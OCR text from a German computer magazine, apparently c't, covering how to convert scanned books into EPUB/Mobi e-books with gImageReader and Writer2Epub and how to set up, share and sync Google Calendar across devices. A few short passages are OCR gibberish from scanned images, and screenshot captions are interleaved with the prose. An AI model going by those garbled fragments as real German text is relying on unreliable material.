ge, die unter anderem getrennte 
Wörter zusammensetzen sollen, 
was aber unserer Erfahrung nach 
nicht zuverlässig funktioniert. 
Diesen Schritt kann man später 
in Writer nachholen. Nützlich ist 
im Editor vor allem die Recht- 
schreibkorrektur, die fehlerhafte 


Wörter mit einer roten Linie un- 
terstreicht. Damit erkennt man 
grobe Fehler gleich nach dem 
Einscannen jeder Seite und kann 
sie direkt korrigieren. 

Produziert die OCR-Software 
sehr viele Fehler, ist das mög- 
licherweise ein Hinweis, dass die 
Auflösung nicht ausreicht, was 
insbesondere bei Vorlagen mit 
kleiner Schrift vorkommt. Meist 
ist es nicht nötig, die Seiten in 
einer höheren Auflösung neu 
einzuscannen; viele Problemfälle 
lassen sich mit den Bildbearbei- 
tungswerkzeugen von glmage- 
Reader beheben. Ein Klick auf 
das Symbol blendet die Einstel- 
lungen für Kontrast, Helligkeit 
und Skalierung ein, wobei wir mit 
einer 150-prozentigen Skalierung 
gute Ergebnisse erzielt haben. 

Auf diese Weise verarbeitet 
man jede Scan-Datei einzeln, po- 
sitioniert den Cursor nach den 
Korrekturen ans Textende und 
löscht dort überflüssige Zeilen- 
vorschübe, damit die nachfol- 
gende Seite direkt angefügt wird. 
So verarbeitet man recht schnell 
auch umfangreiche Werke und 
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speichert zum Schluss den voll- 
ständigen Text auf die Festplatte. 
Das geht weitaus schneller als 
mit Tesseract. Dort muss man die 
OCR-Ergebnisse jeder Seite oder 
Doppelseite in einer eigenen 
Datei speichern und später per 
Hand in der richtigen Reihenfol- 
ge zusammensetzen. 


Feinschliff in Writer 


Die mit glmageReader eingelese- 
nen Texte lassen sich mit Open- 
Office oder LibreOffice Writer be- 
sonders leicht in E-Books verwan- 
deln. Voraussetzung dafür ist die 
Erweiterung Writer2Epub von 
Luca Calcinai, die der Entwickler 
auf seiner Website kostenlos an- 
bietet; eine Spende unterstützt 
die Weiterentwicklung. Innerhalb 
von Writer lässt sich Writer2Epub 
über „Extras/Extension Manager” 
einbinden. Nach einem Writer- 
Neustart blendet die Extension 
eine zusätzliche Symbolleiste für 
Einstellungen, Metadaten und 
die Konvertierung ein. 

Damit sich E-Books auch auf 
Kindle-Geräten nutzen lassen, 
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kann man Writer2Epub um das 
auf diesen Geräten benutzte Mo- 
bipocket-Format erweitern. Das 
erfordert den kostenlosen Kon- 
verter KindleGen von Amazons 
Website - ein einfaches Kom- 
mandozeilentool, das Epub-Da- 
teien ins Mobi-Format umwan- 
delt. Nach Entpacken des ZIP-Ar- 
chivs kopiert man das Programm 
in ein beliebiges Verzeichnis. Ak- 
tiviert man in den Writer2epub- 
Einstellungen die Option für den 
Mobipocket-Export, öffnet sich 
ein Dialog, über den man den 
Pfad zu KindleGen auswählt. Ist 
die Option aktiv, erzeugt Wri- 
ter2Epub zusätzlich zur Epub- 
Datei die Mobi-Variante. 

Den eingelesenen Text muss 
man zunächst aufbereiten und 
formatieren, wobei es sich emp- 
fiehlt, auch die Steuerzeichen an- 


Terexograoe spesfkt wen ding vectangks ovo Dem 


zuzeigen (Strg+F10). Da glmage- 
Reader und Tesseract Zeilenum- 
brüche der gescannten Vorlage 
übernehmen und jedes Absatz- 
ende durch zwei Zeilenvorschü- 
be markieren, muss man für die 
Weiterverarbeitung die unnöti- 
gen Vorschübe entfernen und 
doppelte Zeilenumbrüche durch 
Absatzendezeichen ersetzen. 
Alle folgenden Schritte müs- 
sen exakt in der hier beschriebe- 
nen Reihenfolge durchgeführt 
werden. Da am Zeilenende ge- 
trennte Wörter am Zeilenum- 
bruch zu erkennen sind, muss 
man zunächst alle Worttrennun- 
gen beseitigen. Über die Tasten- 
kombination Strg+Alt+F sucht 
man zuerst nach „-\n“, um das 
Dokument nach einem Binde- 
strich mit anschließendem Zei- 
lenumbruch zu durchsuchen. 


Das Ersetzen-Feld bleibt frei, weil 
die beiden Zeichen gelöscht wer- 
den sollen. Damit Writer den re- 
gulären Ausdruck für den Zeilen- 
umbruch berücksichtigt, muss 
man über „Weitere Optionen” 
den Eintrag „Regulärer Ausdruck" 
aktivieren. Ein Klick auf „Alle Er- 
setzen“ führt alle mit normalem 
Bindestrich getrennten Wörter 
zusammen. 

Statt eines Bindestrichs erzeu- 
gen glmageReader und Tesseract 
häufig einen Gedankenstrich. Um 
auch diese Trennungen aufzuhe- 
ben, sucht man anschließend 
nach Gedankenstrichen. Um das 
Zeichen ins Suchfeld zu überneh- 
men, schließt man zunächst den 
Suchen-Dialog, markiert im Text 
einen Gedankenstrich und drückt 
wieder Strg+Alt+F. Writer über- 
nimmt das markierte Zeichen au- 


ELLI RFIIRERE NACHDEM HEILIGEN 
AONFTERL, DER MPN, (ZUBCHENLAD UND WETTEREN 
ICE DEM WOSE LIEGENOEM AUEAFSRANTEN ZTEUEN 


Benaktm r. Mehr 007 
Dar Unnerämchweene ward mare der Maren 
San du sen ende Garahclultreme ernten 
Urdwinkt uch, Iran das Fayanıda Prag ann ur 
Bangen 


Ex net an eröiennger Darghe ampnahit wersen, 


Der Darghe wertet 


er neot 


muen 
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Sind die Seiten mit mindes- 
tens 300 DPI gescannt und 
verläuft der Text halbwegs 
gerade, erzielt man auch mit 
kostenloser OCR-Software 
recht gute Ergebnisse. 


tomatisch ins Suchfeld, wo man 
es nur noch um „\n” ergänzen 
muss. 

Hinter jedem Absatz erzeugt 
Tesseract zwei Zeilenumbrüche, 
sodass sie eindeutig zu erken- 
nen sind und sich in reguläre 
Absatzmarken umwandeln las- 
sen. Dazu gibt man sowohl im 
Such- als auch im Ersetzen-Feld 
„\n\n“ ein. Dass man in beiden 
Feldern denselben Ausdruck für 
unterschiedliche Sonderzeichen 
einträgt, liegt an einer Eigenheit 
von Writer: Im Suchfeld bedeu- 
tet „\n“ einen Zeilenumbruch, 
im Ersetzen-Feld aber eine Ab- 
satzmarke. Ein Klick auf „Alle Er- 
setzen“ erzeugt die korrekten 
Absatzmarken. 

Nun bleiben nur noch die Zei- 
lenumbrüche übrig, die man mit 
einem weiteren Lauf durch Leer- 
zeichen ersetzt. Dazu sucht man 
nach „\n”, drückt im Ersetzen- 
Feld einmal auf die Leertaste 
und klickt auf „Alle Ersetzen“. 

Als nächsten Schritt formatiert 
man alle Überschriften mit der 
Vorlage „Überschrift 1”, sodass 
der E-Book-Konverter anhand 
dieser Informationen das Inhalts- 
verzeichnis erstellen kann. Bei 
der Gelegenheit kann man bei 
eingeschalteter Rechtschreibkor- 
rektur gleich die markierten Feh- 
ler korrigieren. Weitere Vorkeh- 
rungen sind nicht nötig. 


Schnell konvertiert 


Über das rechte Writer2Epub- 
Symbol sollte man beim ersten 
Mal die Einstellungen überprü- 
fen. Insbesondere muss man hier 
den Mobipocket-Export aktivie- 
ren, um Kindle-gerechte E-Books 
zu erstellen. Standardmäßig fügt 
Writer2Epub am Ende des E- 
Books einen Hinweis auf den 
Konverter ein. Diese ist deakti- 


Die freie Software glmage- 
Reader markiert auch über- 
flüssige Bereiche als Text. 
Besser ist es, die Textbereiche 
von vornherein per Hand 
einzuzeichnen. 
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gute Hilfe und macht oft richtige Korrekturvorschläge. 


vierbar, aber laut den Lizenzbe- 
dingungen des Entwicklers bei 
allen E-Books nötig, die man wei- 
tergibt - egal, ob kostenlos oder 
gegen Geld. Alle weiteren Vor- 
einstellungen kann man über- 
nehmen. 


Nach einem Klick aufs linke 
Symbol in der Writer2Epub- 
Leiste öffnet der Konverter den 
Metadaten-Dialog, in dem man 
Angaben wie Titel und Autor 
eingibt. Ein Titelbild kann man 
aus einer Datei hinzufügen oder 
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Praxis | E-Books 


Document Ifetadata | 


Document Preferences | 


Titel Reise duch die Alte Welt 
Autor Mark Town 
Sprache | German 
[277 
Originaltitel Reise durch die Alte 
Schlagworte 


Beschreibung | 


=| Herausgeber 


Veröffentlichung 


Vor dem Erzeugen des E-Books öffnet Writer2Epub das 


Metadaten-Fenster, in dem man Angaben wie Titel und 
Autor spezifiziert und ein Titelbild festlegt. 


das erste im Dokument enthalte- 
ne Bild verwenden. Ein Klick auf 
OK erzeugt das E-Book und spei- 
chert es im selben Verzeichnis 
wie das Writer-Dokument. 
Dieser letzte Schritt dauert 
selbst für umfangreiche Bücher 


nur wenige Minuten. Um ein 200- 
Seiten-Werk zu scannen und in 
ein fehlerfreies E-Book zu verwan- 
deln, sollte man aber schon einen 
Sonntag einkalkulieren. (db) 


CE Downloads: ct.de/y5kq 
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Google Kalender einrichten, teilen 


und überall nutzen 


Mit Googles Terminplaner lassen sich Gruppen spontan 
zusammenschalten und organisieren. Der Zugriff erfolgt 
über offene Schnittstellen von überall und von nahezu 
jedem Internet-fähigen Gerät aus. Beim Einrichten 

und gegenseitigen Kalender-Freischalten gilt es aber 


einige Dinge zu beachten. 


eitmanagement ist nicht nur 

etwas für Konzerne, sondern 
auch der Alltag von kleinen Fir- 
men, Vereinen und Familien will 
organisiert sein. Computer, Tab- 
lets und Smartphones helfen 
dabei enorm. Doch erst, wenn 
die verschiedenen Geräte ihre 
Daten ohne großen Aufwand 
miteinander austauschen kön- 
nen, entsteht die ideale Pla- 
nungs-Plattform. Bei Yahoo und 
Outlook.com beispielsweise fin- 
det man Online-Kalender. Das 


158 


kompletteste kostenlose Ange- 
bot dieser Art ist aber zweifellos 
der Google Kalender. 

Ob der gemeinsame Urlaub, 
Schulausflüge, Geschäftsreisen 
von Papa oder der Schwieger- 
mutter-Besuch in warnender Sig- 
nalfarbe: Mit Googles komfortab- 
len PIM-Werkzeug gelingt es Fa- 
milien, alle Termine zu koordinie- 
ren und im Blick zu halten. Den 
nächsten passenden Termin fin- 
det Mama via Smartphone direkt 
am Tresen des Kinderzahnarztes. 


Ihre Klassenarbeiten tragen die 
Kids selbst in den mit den Eltern 
geteilten Kalender ein. 
Startvoraussetzung ist ledig- 
lich, dass Sie über ein Google- 
Konto verfügen. Die bedeutet 
allerdings auch, dass Google die 
Kalender-Einträge in der Cloud 
mit allen anderen Informationen 
über Sie verknüpfen kann. Es gilt 
also der übliche Hinweis für US- 
amerikanische Cloud-Anbieter: 
Sehr persönliche Daten oder gar 
Geschäftsgeheimnisse haben dort 
nichts verloren. Wer beispielswei- 
se ausschließen will, dass Google 
Informationen zum Gesundheits- 
status sammeln und mit Suchan- 
fragen verbinden kann, sollte 
davon Abstand nehmen, seine 
Arzttermine einzutragen. 


Modulares Prinzip 


Die Kalender-Anwendung mit 
einem angelegten Kalender ist in 
jedem Google-Account bereits 
vorhanden. Sie als Kontoinhaber 
sind „Besitzer“ dieses Kalenders. 
Der Name des Kalenders ent- 
spricht dem im Profil hinterleg- 
ten Nutzernamen, also nicht 
etwa der Gmail-Adresse. Die 


© copyright by Heise Zeitschriften Verlag 


Web-Oberfläche lässt sich über 
das Google-Dienste-Menü bezie- 
hungsweise direkt über www. 
google.com/calendar erreichen. 
Dieses Frontend fungiert als 
Kommandozentrale für Google 
Kalender. Vieles lässt sich aus- 
schließlich hier einstellen. Alle 
Einstellungen, die Sie vorneh- 
men, gelten dann beispielsweise 
auch für den mobilen Zugriff. 

Wie einige andere Terminpla- 
ner auch setzt Google auf modu- 
lare Kalender: Sie dürfen neben 
Ihrem anfangs zugewiesenen 
Kalender beliebig viele weitere 
anlegen und mit Rechten verse- 
hen. Darüber hinaus binden Sie 
fremde Kalender in ihre Ober- 
fläche ein und blenden diese je 
nach Bedarf ein und aus. Welche 
Kalender derzeit verbunden 
sind, zeigt die Web-Oberfläche 
links unter „Meine Kalender” an. 
Die Anzeigefarbe des jeweiligen 
Kalenders ändern Sie über das 
Kontextmenü, das Sie über den 
Pfeil am Namen erreichen. 

Über dieses Kontextmenü er- 
reichen Sie auch die „Einstellun- 
gen” zum jeweiligen Kalender. 
Hier ändern Sie den Namen und 
ändern bei Bedarf die Zeitzone, 
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etwa wenn Sie auf Reisen gehen. 
Mit „Zeitzone einstellen” lassen 
sich auch mehrere Zeitzonen 
einrichten, die der Kalender - 
auch im Handy - parallel anzeigt. 
Das ist praktisch, wenn man auf 
einer längeren Reise Zwischen- 
stopps einlegt und beispielswei- 
se den in der Zeitzone gültigen 
Abflugtermin des nächsten Flie- 
gers ohne Umrechnen angezeigt 
haben möchte. 


Freigaben 


Die Rechteverwaltung findet sich 
unter dem Reiter „Diesen Kalen- 
der freigeben“. Hier sehen Sie, 
dass Google den neuen Kalender 
öffentlich machen kann. Dies be- 
deutet, dass alle Termine im 
Index der Suchmaschine landen 
würden. Würde jemand nach 
Ihrem Namen suchen, bekäme er 
Ihre Termine angezeigt. Diese 
Option sollten Sie mit Bedacht 
und einiger Vorsicht wählen. 
Geht es nur um Terminabspra- 
chen, genügt es, „Nur Verfügbar- 
keit anzeigen” freizugeben - da- 
rüber sieht man, wann Sie „frei“ 
oder „belegt“ sind, nicht aber, um 
welche Termine es sich handelt. 

Unter „Für bestimmte Perso- 
nen freigeben” teilen Sie Ihren 
Kalender mit anderen Google- 
Nutzern. Dazu geben Sie deren 
Gmail-Adresse an. Sie können 
wählen, ob der künftige Kalen- 
der-Abonnent die Termine nur 
angezeigt bekommt, sie auch 
ändern darf oder sogar das Wei- 
tergaberecht vererbt bekommt 
(das Sie ihm jederzeit wieder 
entziehen dürfen). 

Der freigegebene Kalender in- 
klusive aller Termine erscheint 
nach dem Klick auf „Speichern“ 
sofort beim Empfänger - ableh- 
nen kann dieser das nicht, des- 
halb sollten Sie ihm besser noch 
Bescheid geben. Allerdings taucht 
dort als Name unverständlicher- 
weise nicht etwa der freigebende 
Nutzer auf, sondern dessen bei 
Einrichtung des Accounts verge- 
bener „Alias“ - was in vielen Fäl- 
len für Verwirrung sorgen dürfte. 
Bevor Sie mit Freigaben hantie- 
ren, sollten Sie also in den Einstel- 
lungen zum Google-Nutzerprofil 
überprüfen, ob man Sie über den 
Alias erkennen kann. Gegebenen- 
falls ersetzen Sie den Alias besser 
durch Ihren Nutzernamen. 


Familienplanung 


Das modulare Konzept ermög- 
licht, auf Anderungen innerhalb 
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Kalender-Einstellungen 


Allgemein Kalender 


Mobiltelefon-Einrichtung Google Labs 


Sprache Deutsch 


Land 


Deutschland 
Wählen Sie ein anderes Land, um weitere Zonen anzuzeigen 


v 


Datumsformat 


Zeitformat 


Standardeinstellung für die Dauer 
von Terminen: 


der Gruppe zu reagieren. Eine 
Familie mit zwei kleinen Kindern 
etwa sollte sich zunächst auf 
eigene Kalender von Mama und 
Papa sowie auf Kalender der Kin- 
der beschränken, die nur für die 
Eltern mit Schreibzugriff ausge- 
stattet sind. 

Werden die Kinder älter, kann 
man ihnen eigene Google-Ac- 
counts anlegen und Lese- und 
später Schreib/Lese-Zugriff zu- 
weisen. So gewährt man ihnen 
immer mehr Autonomie in der 
Organisation. Schließlich über- 
gibt man ihnen de facto mit 
dem Freigaberecht den Kalen- 
der. Doch Vorsicht: Einen end- 
gültigen Besitzerwechsel sieht 
Google nicht vor: Die Eltern 
haben nach wie vor die Möglich- 
keit, den Kalender mit einem 
Klick zu löschen. Möchten sie die 
Daten übertragen, klappt das 
nur mit einem Datei-Export und 
Import in den neuen Kalender 
(mehr dazu später). 

Ähnlich wie in der Familie 
kann es auch der Verantwortliche 
einer kleinen Firma handhaben. 
Er behält in der ersten Phase die 
Herrschaft über die Termine, um 
nach und nach über Freigaben 
Planungstätigkeiten abzugeben. 
Wesentlich mehr Möglichkeiten 
für das Bilden von Zeitmanage- 
ment-Teams bietet allerdings die 
kommerzielle Variante von Goo- 
gle Kalender „Google Apps für 
Work” (4 Euro pro Mitarbeiter 
und Monat). 


Abonnements 


Im Hauptmenü zeigt die Web- 
Oberfläche neben „Meine Kalen- 
der“ auch „Weitere Kalender” an, 
die Sie ein- und ausblenden kön- 
nen. Dabei handelt es sich um 


(GMT-05:00) Guayaquil 
(GMT-05:00) Havanna 
(GMT-05:00) Eastern Time - Igaluit 
(GMT-05:00) Jamaika 
(GMT-05:00) Lima 
(GMT-05:00) Eastern Time - Montreal 
(GMT-05:00) Nassau 
(GMT-05:00) Eastern Time 

| (GMT-05:00) Panama 


(GMT-05:00) Port-au-Prince Ihrem nächsten Termin kommen. 
(GMT-05:00) Rio Branco ‚prechungen enden 10 Minuten früher. 


(GMT+01:00) Berlin v Label 
Meine aktuelle Zeitzone ® Dusaubene Zelizoge 
(GMT-05:00) Kaimaninseln [rJtabeı 
|(GMT-06:00) Galapagos E 
(GMT- 0) Bogotä 


m) 


Abonnements von veröffentlich- 
ten Kalendern. Im Kontextmenü 
bekommen Sie über „in interes- 
santen Kalendern suchen” eine 
Auswahl solcher Kalender ange- 
zeigt. „Feiertage in Niedersach- 
sen“ lassen sich hier ebenso 
abonnieren wie die aktuellen 
Spielansetzungen des Fußball- 
Bundesligisten Paderborn 07. 
Falls Sie sich wundern, dass 
Ihnen der Kalender Geburtstage 
von fast unbekannten Personen 
anzeigt: Google verzahnt sein so- 
ziales Netzwerk Google+ mit 
allen möglichen anderen Diens- 
ten, wohl, um es bekannter zu 
machen. Dazu gehört auch, dass 
die Nutzer ungefragt einen Ka- 
lender namens „Geburtstage“ 
unter „Meine Kalender“ gepusht 
bekommen, in dem sämtliche 
Geburtstage der Google+-Kreise 
gelistet sind. Diesen Kalender 
darf man nicht löschen, nur aus- 


Wer sich in 
mehreren 
Zeitzonen 
bewegt, kann 
Googles 
Kalender 
anweisen, 
Termine in 
diesen Zeit- 
zonen parallel 
anzuzeigen. 


Wechseln 
Entfernen 


blenden. Falls er Sie nervt, sollten 
Sie ihn zusätzlich von der mobi- 
len Synchronisation ausschlie- 
ßen, damit Sie nicht bei jedem 
Geburtstag vom Handy belästigt 
werden. Dazu später mehr. 

Neben den vorgeschlagenen 
lassen sich auch andere öffentli- 
che Kalender abonnieren. Dazu 
müssen Sie nur deren Adresse 
im Kalender-Austausch-Format 
iCal kennen. Diese geben Sie im 
Kontext-Menü „Über URL zufü- 
gen“ an. Ab sofort ist der Kalen- 
der in Ihren eingefügt. Ändert 
der Besitzer Termine, bekom- 
men Sie das fast ohne Zeitverzö- 
gerung angezeigt. 

Umgekehrt dürfen Sie selbst 
auch öffentliche Kalender pfle- 
gen, um beispielsweise als Trai- 
ner Ihrer Fußballmannschaft 
Übungs- und Spieltagstermine 
bekannt zu geben. Dazu legen 
Sie über „Neuen Kalender ein- 


Details zu Hans Wurst 
Kalenderdetails Diesen Kalender freigeben 


Für bestimmte Personen freigeben 


Person 


Nur Verfügbarkeit anzeigen (keine Details) 


Berechtigungseinstellungen 


Alle Termindetails anzeigen 


Benachrichtigungen bearbeiten 


FÜ] Diesen Kalender öffentlich machen Weitere Informationen 
Dieser Kalender wird in den öffentlichen Suchergebnissen von Google angeze 


Entfernen 


25 Person hinzufügen 


holger.bleich@gmail.com 
Anderu 


hob@ct.de 


Änderungen vornehmen UND Freigabe verwaw oT 


Q vornehmen UND Freigabe verwalten 
Termine ändern 
Alle Termindetails anzeigen 

Nur Verfügbarkeit anzeigen (keine Details) 


Tipp: Terminfreigabe unter Kollegen? 


Google Kalender erleichtert Mitarbeitern die gemeinsame Bearbeitung von Terminen. So funktionierts 


« Zurück zum Kalender 


Dieser Kalender gehört dem Alias „Hans Wurst”. Unter diesem 
Namen erscheint er auch allen Abonnenten. Besser wäre es 
folglich, einen Alias zu wählen, der den Besitzer erkennen lässt. 
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richten“ einen Kalender an und 
machen diesen öffentlich. In den 
„Kalenderdetails“ finden Sie nun 
eine Kalender-ID und links dane- 
ben die Schaltfläche „ICAL”. Ein 
Klick darauf offenbart die URL 
zur iCal-Datei mit der Erweite- 
rung *.ics, über die Ihr neuer Ka- 
lender bezogen werden kann. 
Diese URL geben Sie an alle po- 
tenziellen Abonnenten weiter. 


Absprachen 


Haben mehrere Google-Nutzer 
ihre Kalender untereinander frei- 
geschaltet, bieten sich nützliche 
Gruppen-Funktionen an. Die 
Terminplanung kann nun nicht 
mehr nur noch isoliert, sondern 
untereinander erfolgen. Um das 
Absprache-Werkzeug zu nutzen, 
fügen zunächst Sie in der Detail- 
Ansicht zu einem neuen Termin 
rechts alle Gäste hinzu, die an 
dem Termin teilnehmen sollen. 

Danach klicken Sie auf den 
Reiter „Zeitpunkt finden“. In 
diese Ansicht blendet Google 
die Kalender aller Gäste ein, die 
ihren Kalender für Sie freige- 
geben haben. Nun können Sie 
einen Zeitpunkt finden, zu dem 
alle Gäste verfügbar wären, und 
den Termin mit der Maus dort 
hinschieben. Zurück in der De- 
tail-Ansicht speichern Sie den 
Terminwunsch. 

Alle eingeladenen Gäste be- 
kommen nun eine Einladungs- 
Mail zum Termin, in der sie di- 
rekt bestätigen, ablehnen oder 
Alternativvorschläge machen 
können. Parallel erscheint der 
fremde Termin bereits in ihrem 
Kalender. Auch hier ist es mög- 
lich, zu- oder abzusagen. Grund- 
sätzlich lassen sich auch Leute 
mit ihrer Mail-Adresse zu Termi- 
nen einladen, die kein Google- 
Konto haben. Sie erhalten via 
Mail eine Einladung, können 
aber erst darauf antworten, 
wenn sie einen Google-Account 
angelegt haben. 


Mobil planen 


Nahezu sämtliche Kalender-Pro- 
gramme und mobile Endgeräte 
können sich auf irgendeine Art 
mit Google Kalender synchroni- 
sieren, weil die Anwendung stan- 
dardisierte Schnittstellen bereit- 
hält. Android-Geräte kommen 
ohne Zutun des Nutzers mit Goo- 
gles Kalender klar. Sobald das 
Gerät mit der Google-ID ange- 
meldet ist, synchronisiert es die 
Kalenderdaten. 
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Kalender-Adresse 


iCal-Format unterstützt. 


Verwenden Sie die folgende Adresse, um über andere Anwendungen auf Ihren Kalender 
zuzugreifen. Sie können diese Adresse kopieren und in jeden Kalender einfügen, der das 


https://www.google.com/calendar/ical/6ci6kgobt614agp22cdnkuuofs%40group. calendar. google.com/public 


/basic.ics 


Die in Android vorinstallierte 
Kalender-App nutzt das Kalen- 
der-API von Google. In der App 
gibt es - anders als auf den ande- 
ren Plattformen - nicht nur die 
Möglichkeit, Kalender auszublen- 
den, sondern von der Synchroni- 
sierung auszuschließen. Alterna- 
tive Apps wie aCal greifen über 
ein Android-internes API auf die 
synchronisierten Daten zu. 

Für iPhones und Windows- 
Phone-Geräte war eigentlich Mi- 
crosofts proprietäres Protokoll 
Exchange ActiveSync (EAS) das 
Mittel der Wahl, um mit Google 
Kalender zu synchronisieren. 
Weil EAS sogar Push beherrscht, 
hatten die Nutzer andernorts 
eingetragene Termine nahezu 
ohne Zeitverzögerung im Kalen- 
der ihres Handys parat. Damit ist 
seit 2014 Schluss, weil Google 
die EAS-Unterstützung einge- 
stellt hat. Stattdessen propagiert 
der Konzern nun die offene 
WebDAV-Erweiterung CalDAV 
zur Synchronisierung. 

Absurd ist: Obwohl Google 
gegenüber den Handy-Herstel- 


lern die Vorteile von CalDAV 
preist, unterstützt Googles eige- 
nes Betriebssystem Android Cal- 
DAV nicht einmal selbst. Wer 
eine Kalender-App installiert, die 
CalDAV voraussetzt, muss auf 
Adapter-Apps wie CalDAV-Sync 
oder DAVdroid zurückgreifen. 


iOS 

iPhone- und iPad-Nutzer greifen 
via CalDAV auf ihre Google-Ka- 
lender zu. Zum Einrichten wäh- 
len Sie in den „Einstellungen“ die 
Option „Mail, Kontakte, Kalen- 
der”. Unter „Account hinzufü- 
gen” tippen Sie nicht auf Google, 
sondern auf „Andere“ und dann 
unter „Kalender“ auf „CalDAV- 
Account hinzufügen”. Als als Cal- 
DAV-Server geben Sie den Host 
calendar.google.com an. 

Künftig pflegt iOS die syn- 
chronisierten Termine in seinen 
Kalender ein. Neue Termine las- 
sen sich wie gewohnt eintragen 
und landen im Hauptkalender 
der gewählten Google-ID. Ande- 
re Einstellungen, beispielsweise 
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MAIL 


Mail-Account hinzufügen 


KONTAKTE 
LDAP-Account hinzufügen 


CardDAV-Account hinzufügen 


KALENDER 
CalDAV-Account hinzufügen 


Kalenderabo hinzufügen 


Um iOS mit Google Kalender zu synchronisieren, wählen Sie nicht 
„Google”, sondern „Andere“ und anschließend „CalDAV-Account”. 
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Nachdem Sie einen Kalender 
„öffentlich“ geschaltet haben, 
können Sie dessen iCal-URL 
abfragen und weitergeben. 


Terminabsprachen, sind via Cal- 
DAV nicht möglich. Die Kalen- 
der-App zeigt über den Menü- 
punkt „Kalender“ alle abonnier- 
ten Google-Kalender an. Hier ist 
es möglich, einzelne Kalender 
auszublenden. 

Dies sorgt häufig für Verwir- 
rung. Denn hier einen Kalender 
auszublenden bedeutet weder, 
dass er gelöscht, noch das er 
nicht mehr mitsynchronisiert 
wird. Möchten Sie das veranlas- 
sen, gibt es einen anderen Weg. 
Rufen Sie über einen Browser die 
URL https://www.google.com/ 
calendar/syncselect auf. Hier prä- 
sentiert Ihnen Google eine Check- 
box-Liste mit sämtlichen Kalen- 
dern in Ihrem Account. Nur über 
diese Seite können Sie festlegen, 
welche Kalender via CalDAV zur 
Verfügung stehen sollen. 


Windows Phone 


Als Google bekannt gegeben 
hatte, ActiveSync abzuschalten, 
war das als direkter Angriff auf 
Microsoft gedeutet worden. 
Schließlich gab es in Windows 
Phone keinen CalDAV-Support, 
die Nutzer wären von heute auf 
morgen von ihren Kalendern ab- 
geschnitten gewesen. Schließlich 
verschob Google die Abschal- 
tung um ein halbes Jahr, und 
Microsoft rüstete in dieser Zeit 
tatsächlich über ein Windows- 
Phone-Update nach. Dass Goo- 
gle Windows Phone nach wie vor 
nicht recht ernst nimmt, belegt 
ein Blick auf die Hilfe-Seiten zum 
Kalender: Eine rudimentäre An- 
leitung für CalDAV und iOS exis- 
tiert, Windows Phone jedoch 
bleibt dort schlicht unerwähnt. 

Dabei ist es kein großer Auf- 
wand, Google Kalender in Win- 
dows Phone 8.1 einzubinden. In 
den Systemeinstellungen wäh- 
len Sie „E-Mail-Konten + ande- 
re“, dort „Konto hinzufügen”. 
Hier wird ein „Google*-Konto 
eingerichtet, was zunächst zu 
einer Autorisierungs-Webseite 
von Google führt, bei der das 
Handy zur Dienstenutzung regis- 
triert werden muss. Nach der 
ersten Synchronisierung ist der 
Account fertig eingerichtet. 

In der Voreinstellung gleicht 
sich der Client in Windows 
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Phone nur alle 2 Stunden mit 
dem Server ab. Diese Zeitspanne 
können Sie in den Konteneinstel- 
lungen auf minimal „alle 15 Mi- 
nuten” verkürzen. Falls Sie nur 
den Kalender, nicht aber die 
Mails und Kontakte bei Google 
auf dem Handy verwalten wol- 
len, sollten Sie die standardmä- 
Big gesetzten Häkchen entfer- 
nen. Windows Phone nutzt nicht 
den CalDAV-Standardzugang von 
Google, sondern den DAV-Zu- 
griff über das API, weshalb als 
Host apidata.googleusercontent. 
com eingetragen ist. 

Genau wie bei i0S kann man 
in der Kalender-App von Win- 
dows Phone über die Einstellun- 
gen alle Kalender ein- und aus- 
blenden. Auch hier gilt: Synchro- 
nisiert wird nicht, was die App 
anzeigt, sondern was auf der 
Syncselect-Seite für CalDAV aus- 
gewählt ist. 


Desktop-Einbindung 


Auch wenn die komfortable 
Web-Oberfläche von Google Ka- 
lender gut funktioniert, möchten 
viele Nutzer nicht auf ihren ge- 
wohnten Desktop-Client verzich- 
ten oder die Kalender zu einer 
bestehenden Zeitmanagement- 
Infrastruktur lediglich hinzufü- 
gen. Mit Microsofts Outlook 
2013 war das bis zum 1. August 
2014 völlig unproblematisch - 
also, bis Google das von dieser 
Outlook-Version genutzte Active- 
Sync abschaltete. Über Umwege 
kann Outlook dennoch mit Goo- 
gle Kalender synchronisieren. 
Wie es geht, haben wir in c't 
23/14 erläutert [1]. 

Im privaten Umfeld erfreut 
sich nach wie vor das Thunder- 
bird-Add-on Lightning zur Ver- 
waltung von Terminen großer 
Beliebtheit. Im November 2014 
hagelte von Google-Kalender- 
Nutzern plötzlich Kritik an dem 
Add-on auf dessen Entwickler 
herab. Was war passiert? Die 
meisten Nutzer betreiben Light- 
ning zusammen mit dem Add-on 
„Provider for Google Calendar”. 
Dieses Tool ermöglicht den Zu- 
griff über das Calendar-API von 
Google, ohne auf CalDAV zurück- 
zugreifen. Im September 2014 
hat Google Version 3 dieses API 
freigeschaltet, das nicht kompati- 
bel mit der Vorgängerversion ist. 

Als nun am 17. November - 
wie von Google gewohnt - Ver- 
sion 2 ohne Vorwarnung abge- 
schaltet wurde, haben viele Tools, 
die darauf zugreifen, nur noch 
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In Windows Phone 8.1 lässt sich die Google-Synchronisierung 
auf Kalenderdaten beschränken (links). Der Zugriff erfolgt über 


das Google-API (rechts). 


Fehlermeldungen geliefert. Die 
aktuelle Version von „Provider 
for Google Calendar” funktio- 
niert mittlerweile wieder. Goo- 
gle selbst empfiehlt Lightning- 
Nutzern dennoch, CalDAV zu 
nutzen. Allerdings ermöglicht 
der API-Zugriff Lightning mehr 
Funktionen, beispielsweise Ter- 
mineinladungen zu verschicken. 

Um den Kalender von Win- 
dows 8 an Google anzudocken, 
ist ein Umweg nötig. Microsoft 
empfiehlt die mühsame und feh- 
leranfällige Zwischensynchroni- 
sierung mit dem hauseigenen 
Service outlook.com. Besser 
klappt es aber mit der kostenlo- 
sen App „gmail calendar“, die im 
Windows Store in einer Grund- 
version kostenlos erhältlich 
ist. Sie schaltet sich ähnlich wie 
ein Proxy-Server zwischen und 
flanscht den Windows-Kalender 
so an das Google-API an. 

Von Schwierigkeiten berich- 
ten Administratoren, die Google 
Kalender in ihre Workgroup-Um- 
gebung integrieren wollen. Als 
Beispiel sei hier die beliebte Ser- 


ver-Software Zimbra genannt, 
die nicht recht mit Google har- 
monieren will. Prinzipiell kann 
Zimbra seine Kalender im iCal- 
Format anderen Kalender-An- 
wendungen bereitstellen. Stan- 
dardmäßig verlangt der Server 
aber eine Authentifizierung in 
der URL-Abfrage, die Google sehr 
zum Ärger vieler Betreiber nicht 
vorsieht. Zimbra-Admins bleibt 
also nur, auf die Authentifizie- 
rung zu verzichten, also den Ka- 
lender-Abruf komplett freizuge- 
ben - meist kein gangbarer Weg. 


Zwangsumzug 


Trotz dieser Unzulänglichkeiten 
